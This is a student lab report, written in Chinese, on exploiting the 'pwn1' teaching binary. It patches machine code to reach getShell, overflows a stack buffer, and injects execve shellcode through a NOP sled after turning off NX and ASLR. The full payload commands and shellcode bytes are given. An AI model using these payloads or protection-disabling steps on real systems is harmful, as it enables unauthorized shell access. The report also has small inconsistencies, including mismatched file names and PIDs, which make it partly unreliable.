1.实践内容
本次实验以Linux可执行文件 pwn1 为实践对象。该程序正常运行逻辑为:main函数调用foo函数,接收用户输入字符串并做简单回显,程序中内置了一个正常不会执行的getShell函数,该函数可以直接调出系统Shell。本次实验共有三项核心实践任务,分别通过修改程序机器码、利用栈溢出漏洞、注入Shellcode三种方式,成功让程序执行getShell或自定义代码,完整复现二进制漏洞利用过程。
(一)手工修改可执行文件,篡改程序执行流程
本任务不需要漏洞利用,而是通过直接修改pwn1程序的二进制机器指令,强行改变函数跳转逻辑,让程序原本执行的foo函数直接跳转到getShell函数,从而主动获取Shell。
首先使用objdump工具对pwn1文件进行反汇编,查看main、foo、getShell三个函数的汇编代码与内存地址。通过对比地址信息,找到main函数调用foo的call指令位置。正常情况下程序执行流程固定为main→foo,不会进入getShell。
随后使用十六进制编辑器打开pwn1可执行文件,定位到call foo对应的机器码位置,将原有跳转指令机器码修改为跳转到getShell函数的机器码。修改完成后保存文件,再次运行程序。可以看到程序不再执行原有回显逻辑,而是直接调用getShell成功弹出终端Shell,实现了手动修改机器指令改变程序执行流向的实验目标。
(二)利用foo函数缓冲区溢出漏洞,构造Payload劫持程序执行流
本实验核心是利用pwn1程序foo函数存在的典型缓冲区溢出(BOF)漏洞。foo函数在读取用户输入时未做长度校验,导致超长输入可以覆盖栈空间,最终覆盖栈底保存的函数返回地址,实现程序跳转劫持。
我首先通过调试分析栈结构,确定缓冲区填充字节数、栈偏移量以及返回地址的偏移位置。先使用大量NOP空指令0x90填充缓冲区,将栈空间填满,精准覆盖到返回地址所在位置。随后替换返回地址内容,将其改为getShell函数的内存地址。
按照偏移长度构造完整攻击Payload,输入到程序中。程序在foo函数执行结束、执行ret返回指令时,会读取被我们篡改的返回地址,不再回到main函数,而是直接跳转到getShell代码段执行,成功获取交互式Shell。
(三)自定义Shellcode注入并执行任意代码
在前两种方法的基础上,本次实验进一步完成进阶操作:不再调用程序自带的getShell,而是手动构造、注入并运行自定义Shellcode,实现任意代码执行。
首先学习常用Shellcode编写原理,编写短小的Linux系统调用Shellcode,用于弹出系统Shell。随后结合缓冲区溢出漏洞,构造全新的攻击载荷:前段使用NOP指令做滑行区域,中段放置完整Shellcode代码,尾部覆盖函数返回地址,让程序溢出后跳转到NOP区域,顺着空指令滑行执行我们注入的Shellcode。
将构造好的Payload输入程序后,程序成功执行自定义Shellcode,弹出新的终端Shell,证明本次代码注入与执行完全成功。该实验让我掌握了Shellcode注入、NOP滑行、自定义代码执行的完整攻击思路,理解了Pwn漏洞的高阶利用方式。
2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.1.直接修改程序机器指令,改变程序执行流程
①知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
②学习目标:理解可执行文件与机器指令
③进阶:掌握ELF文件格式,掌握动态技术
下载目标文件pwn1到Desktop目录,执行unzip命令进行解压,然后使用objdump -d pwn1_20253916|more命令进行反汇编,并利用管道进行分页显示。

- 现需要修改main函数中call指令的地址,使其跳转到getShell函数,具体操作如下,将'D7'改成'C3'即可,使用命令:
vim pwn1_20253916,进入vim后,按ESC进入命令模式,输入 :%!xxd,转换为十六进制。


- 找到地址0x80484b5对应的机器码e8 d7 ff ff ff。

- 将后4个字节d7 ff ff ff替换为新的偏移量C3 FF FF FF。

- 修改后将两次运行结果做对比,发现第pwn1程序调用的是foo函数,而pwn1_20253916程序调用的则是getShell函数,则修改成功

使用命令:./pwn1_20253916,运行修改后的程序,进入Shell,试验成功。

2.2.通过构造输入参数,造成BOF攻击,改变程序执行流
①知识要求:堆栈结构,返回地址
②学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
③进阶:掌握ELF文件格式,掌握动态技术
由上节可知foo函数的汇编如下。

使用 objdump -d pwn2_20252908 | grep -E "<main>:" "<foo>:" "<getShell>:" 查看函数地址。

使用命令:python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x7d\x84\x04\x08')" > PL20253916.bin,构造payload文件PL20253916.bin。
使用命令:xxd PL20253916.bin,检查payload是否正确。
发现前32字节(0x00-0x1F):全是41(即A),对应b'A'*32的填充。
最后4字节(0x20-0x23):7d 84 04 08,正是getShell地址0x0804847d的小端序格式。

使用命令:cat PL20253916.bin | ./pwn2_20253916,进行攻击验证。
2.3.注入Shellcode并执行
再复制一个程序:pwn3_20253916。
使用命令:wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb,下载execstack安装包。

使用命令:sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb,安装此安装包,并验证是否安装成功。

使用命令:sudo execstack -s ./pwn3_20253916,关闭程序的NX保护,因为把 自定义Shellcode放到栈上,CPU必须允许执行栈上的代码。
再使用命令:sudo execstack -q ./pwn3_20253916,验证设置结果,输出结果含X表示成功。

使用命令:sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space',设0 为固定栈地址。
再使用命令:more /proc/sys/kernel/randomize_va_space进行验证,输出0,即为成功。

初始设置完成后,构造初始调试Payload,使用命令:perl -e 'print "A" x 32; print "\x01\x02\x03\x04"; print "\x90"x64; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_scode3916,给GDB做标记,找到栈地址。
使用命令:(cat input_scode3916; cat) | ./pwn3_20253916。
在另一个终端,使用命令:ps -ef | grep pwn3_20253916,查找pwn3_20253916进程的PID,得到PID是64210。

然后使用命令:gdb、attach 32431。

然后使用命令:disassemble foo,先找到foo函数的ret指令地址,指令地址是:0x080484ae。

使用命令:break *0x080484ae,让程序执行到ret指令时暂停。

执行:continue。程序会断在ret指令处,此时栈上的返回地址已经被\x01\x02\x03\x04标记覆盖。
使用命令:info registers esp,查看栈顶指针,返回esp寄存器的值:0xffffd56c。

使用命令:perl -e 'print "A"x32; print "\x70\xd5\xff\xff"; print "\x90"x64; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > pl_fin20253916

使用命令:(cat pl_fin20253916; cat) | ./pwn3_20253916,执行Shellcode注入攻击。
3.学习中遇到的问题及解决
-
问题1:
![image]()
-
问题1解决方案:
![image]()
4.实践总结
本次pwn1二进制漏洞实验整体完成顺利,三项实践任务均成功实现预期效果。通过本次实验,我系统掌握了底层汇编指令机器码、反汇编分析、十六进制修改、缓冲区溢出漏洞利用和Shellcode注入等一系列关键技能,完整建立了Linux Pwn基础漏洞利用的知识框架。
首先,我掌握了NOP、CMP、JMP、JE、JNE等常用汇编指令的机器码含义,能够看懂简单程序的跳转逻辑,理解了程序底层执行原理。其次,熟练使用反汇编工具分析ELF文件,能够自主定位函数地址、找到关键指令位置,具备了简单的二进制程序分析能力。再次,成功掌握两种劫持程序流程的方式:一是手动修改机器码静态篡改程序逻辑,二是利用栈溢出漏洞动态劫持执行流。最后,掌握了基础Shellcode注入方法,理解了任意代码执行的实现原理。
同时本次实验也暴露了我存在的不足:对栈结构的理解还不够透彻,一开始计算偏移量时多次出错;对Shellcode编码、堆栈布局、程序内存分布的认识还比较浅显,后续还需要多加练习调试与分析,进一步提升底层二进制分析能力。


